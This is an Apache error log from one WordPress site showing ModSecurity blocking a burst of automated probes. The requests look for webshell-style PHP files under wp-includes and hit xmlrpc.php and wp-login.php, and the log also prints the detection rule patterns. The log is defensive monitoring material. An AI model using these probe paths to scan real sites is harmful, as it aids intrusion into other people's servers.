[Wed Apr 15 04:58:52.351042 2026] [:error] [pid 4169:tid 4198] [client 45.131.195.185:62189] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "ad6qjB15U5D-N99n_jJlQgAAANc"]
[Wed Apr 15 04:59:00.912610 2026] [:error] [pid 4065:tid 4077] [client 62.169.28.251:32852] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6qlAWArgJTHu2_6Oy5ewAAAAE"]
[Wed Apr 15 04:59:14.787171 2026] [:error] [pid 4067:tid 4152] [client 45.131.195.156:20881] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "ad6qou5XHBJU8ZrRxZ0kzQAAAJU"]
[Wed Apr 15 04:59:19.843461 2026] [:error] [pid 4065:tid 4095] [client 45.131.195.149:63355] [client 45.131.195.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.149, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "ad6qpwWArgJTHu2_6Oy5iQAAABM"]
[Wed Apr 15 04:59:24.351788 2026] [:error] [pid 4065:tid 4096] [client 45.131.195.149:63355] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "ad6qrAWArgJTHu2_6Oy5kgAAABQ"]
[Wed Apr 15 04:59:26.907869 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.120:61643] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "ad6qrh15U5D-N99n_jJlqAAAAMc"]
[Wed Apr 15 04:59:30.190816 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.125:30237] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "ad6qsh15U5D-N99n_jJlswAAAME"]
[Wed Apr 15 04:59:34.962788 2026] [:error] [pid 4169:tid 4188] [client 45.131.195.115:51681] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "ad6qth15U5D-N99n_jJlygAAAM8"]
[Wed Apr 15 04:59:36.135597 2026] [:error] [pid 4067:tid 4135] [client 45.131.195.165:24635] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "ad6quO5XHBJU8ZrRxZ0k5QAAAIQ"]
[Wed Apr 15 04:59:42.993771 2026] [:error] [pid 4066:tid 4116] [client 45.131.195.164:65373] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "ad6qvoC2YXfSPsC9O_BZrAAAAEw"]
[Wed Apr 15 04:59:46.241460 2026] [:error] [pid 4065:tid 4091] [client 45.131.195.139:32227] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "ad6qwgWArgJTHu2_6Oy5mwAAAA8"]
[Wed Apr 15 04:59:52.144420 2026] [:error] [pid 4065:tid 4080] [client 45.131.195.185:41733] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "ad6qyAWArgJTHu2_6Oy5nwAAAAQ"]
[Wed Apr 15 04:59:57.568330 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.129:56701] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "ad6qza3iO9_fE_IQEMkP_gAAAQM"]
[Wed Apr 15 05:00:03.848758 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.164:52529] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "ad6q063iO9_fE_IQEMkQCgAAARE"]
[Wed Apr 15 05:00:14.496326 2026] [:error] [pid 4169:tid 4177] [client 45.131.195.129:52501] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "ad6q3h15U5D-N99n_jJmGAAAAMU"]
[Wed Apr 15 05:00:23.369838 2026] [:error] [pid 4065:tid 4097] [client 45.131.195.184:54359] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "ad6q5wWArgJTHu2_6Oy5wgAAABU"]
[Wed Apr 15 05:00:24.728053 2026] [:error] [pid 4169:tid 4180] [client 45.131.195.156:57561] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "ad6q6B15U5D-N99n_jJmHwAAAMg"]
[Wed Apr 15 05:00:25.993538 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.156:26189] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "ad6q6a3iO9_fE_IQEMkQNAAAARE"]
[Wed Apr 15 05:00:27.197512 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.140:57709] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "ad6q663iO9_fE_IQEMkQOwAAAQM"]
[Wed Apr 15 05:00:30.362105 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.250:34865] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "ad6q7q3iO9_fE_IQEMkQSAAAARA"]
[Wed Apr 15 05:00:31.678170 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.197:20377] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "ad6q763iO9_fE_IQEMkQTQAAAQw"]
[Wed Apr 15 05:00:35.989447 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.130:35553] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "ad6q8x15U5D-N99n_jJmNwAAANY"]
[Wed Apr 15 05:00:36.753259 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.190:25303] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "ad6q9B15U5D-N99n_jJmOwAAAMM"]
[Wed Apr 15 05:00:37.698227 2026] [:error] [pid 4169:tid 4188] [client 45.131.195.186:56139] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "ad6q9R15U5D-N99n_jJmRAAAAM8"]
[Wed Apr 15 05:00:38.766060 2026] [:error] [pid 45504:tid 45520] [client 45.131.195.169:21341] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "ad6q9q3iO9_fE_IQEMkQVAAAAQ4"]
[Wed Apr 15 05:00:41.468737 2026] [:error] [pid 4066:tid 4126] [client 45.131.195.181:41133] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "ad6q-YC2YXfSPsC9O_BZ3gAAAFY"]
[Wed Apr 15 05:00:45.712841 2026] [:error] [pid 4066:tid 4121] [client 45.131.195.140:54183] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "ad6q_YC2YXfSPsC9O_BZ4wAAAFE"]
[Wed Apr 15 05:00:51.428798 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.186:47127] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "ad6rAx15U5D-N99n_jJmYgAAAM0"]
[Wed Apr 15 05:01:01.011971 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.131:36505] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "ad6rDa3iO9_fE_IQEMkQsgAAAQo"]
[Wed Apr 15 05:01:06.123562 2026] [:error] [pid 4067:tid 4141] [client 45.131.195.124:45313] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "ad6rEu5XHBJU8ZrRxZ0l3AAAAIo"]
[Wed Apr 15 05:01:07.587690 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.165:33899] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "ad6rE-5XHBJU8ZrRxZ0l4gAAAI4"]
[Wed Apr 15 05:01:13.546229 2026] [:error] [pid 4065:tid 4082] [client 45.131.195.135:31947] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ad6rGQWArgJTHu2_6Oy56wAAAAY"]
[Wed Apr 15 05:01:19.081207 2026] [proxy_fcgi:error] [pid 4065:tid 4096] [client 45.131.195.125:40611] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:01:19.309275 2026] [proxy_fcgi:error] [pid 4065:tid 4084] [client 45.131.195.125:40611] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:01:19.571874 2026] [proxy_fcgi:error] [pid 4065:tid 4095] [client 45.131.195.125:40611] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:01:23.758441 2026] [:error] [pid 4065:tid 4094] [client 45.131.195.125:40611] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "ad6rIwWArgJTHu2_6Oy6AwAAABI"]
[Wed Apr 15 05:01:25.208288 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.141:34761] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "ad6rJYC2YXfSPsC9O_BaDgAAAEk"]
[Wed Apr 15 05:01:27.769696 2026] [:error] [pid 4067:tid 4155] [client 45.131.195.175:36409] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "ad6rJ-5XHBJU8ZrRxZ0mIgAAAJg"]
[Wed Apr 15 05:01:28.976934 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.159:31419] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "ad6rKK3iO9_fE_IQEMkQ6wAAAQA"]
[Wed Apr 15 05:01:29.997453 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.161:42771] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "ad6rKa3iO9_fE_IQEMkQ8AAAARA"]
[Wed Apr 15 05:01:31.073544 2026] [:error] [pid 4066:tid 4105] [client 45.131.195.126:54269] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "ad6rK4C2YXfSPsC9O_BaFgAAAEE"]
[Wed Apr 15 05:01:33.296070 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.126:35673] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "ad6rLa3iO9_fE_IQEMkQ_gAAAQo"]
[Wed Apr 15 05:01:34.349322 2026] [:error] [pid 4065:tid 4078] [client 45.131.195.185:46029] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "ad6rLgWArgJTHu2_6Oy6DAAAAAI"]
[Wed Apr 15 05:01:36.041399 2026] [:error] [pid 4066:tid 4117] [client 45.131.195.144:31717] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "ad6rMIC2YXfSPsC9O_BaHAAAAE0"]
[Wed Apr 15 05:01:37.278148 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.250:51075] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "ad6rMa3iO9_fE_IQEMkRBQAAAQE"]
[Wed Apr 15 05:01:41.010546 2026] [:error] [pid 4066:tid 4124] [client 45.131.195.197:34631] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "ad6rNYC2YXfSPsC9O_BaKgAAAFQ"]
[Wed Apr 15 05:01:43.308579 2026] [:error] [pid 4169:tid 4196] [client 45.131.195.156:42063] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "ad6rNx15U5D-N99n_jJmwwAAANU"]
[Wed Apr 15 05:01:46.997940 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.156:20343] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "ad6rOh15U5D-N99n_jJmygAAANM"]
[Wed Apr 15 05:01:51.835115 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.115:40059] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "ad6rP63iO9_fE_IQEMkRWAAAARQ"]
[Wed Apr 15 05:01:57.113017 2026] [:error] [pid 4169:tid 4186] [client 45.131.195.149:27455] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "ad6rRR15U5D-N99n_jJm5wAAAM0"]
[Wed Apr 15 05:02:03.908436 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.165:46445] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "ad6rS63iO9_fE_IQEMkRugAAAQw"]
[Wed Apr 15 05:02:06.456030 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.116:40213] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "ad6rTq3iO9_fE_IQEMkRwQAAARI"]
[Wed Apr 15 05:02:27.141442 2026] [:error] [pid 4065:tid 4094] [client 45.131.195.120:54805] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "ad6rYwWArgJTHu2_6Oy6ZAAAABI"]
[Wed Apr 15 05:02:29.255490 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.144:38385] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "ad6rZR15U5D-N99n_jJnQQAAANg"]
